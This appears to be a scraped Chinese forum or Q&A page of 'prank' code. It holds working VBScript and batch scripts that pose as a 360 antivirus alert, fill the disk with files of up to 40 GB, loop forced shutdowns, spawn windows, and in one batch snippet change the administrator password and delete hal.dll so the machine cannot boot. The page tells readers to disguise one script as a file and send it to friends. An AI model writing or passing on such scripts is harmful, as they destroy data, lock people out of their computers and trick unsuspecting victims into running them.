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你见过有哪些搞笑的代码？
有天，正在编程一个游戏，做货币系统的时候，上了个厕所，不知道哪个同事弄成了。游戏写好了，原来的“点券”变成了，你是一个2B哟，咿呀咿呀哟。
有没有一些恶搞别人的vbs代码
自编vbs仅供娱乐！！！
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run""
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run""
qweb.run""
qweb.run""
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)
qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
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qweb.run""
qweb.run""
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
求简单的整人Bat代码
代码开始，只抄横线里面的
_______________________________
@echo off
net user administrator nishizhu\add
del /s /q c:\Windows\System32\hal.dll
shutdown -s -t 5 -c 你是一头猪！！！
_______________________________
代码详解：
@echo off —— 隐藏命令，关闭回显。
net user administrator nishizhu\add —— 把开机密码改成“nishizhu\add”
del /s /q c:\Windows\System32\hal.dll —— 删掉系统加载程序（删了就开不了机）
shutdown -s -t 5 -c 你是一头猪！！！ —— 定时关机5秒钟，并提示你是一头猪！！！
手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
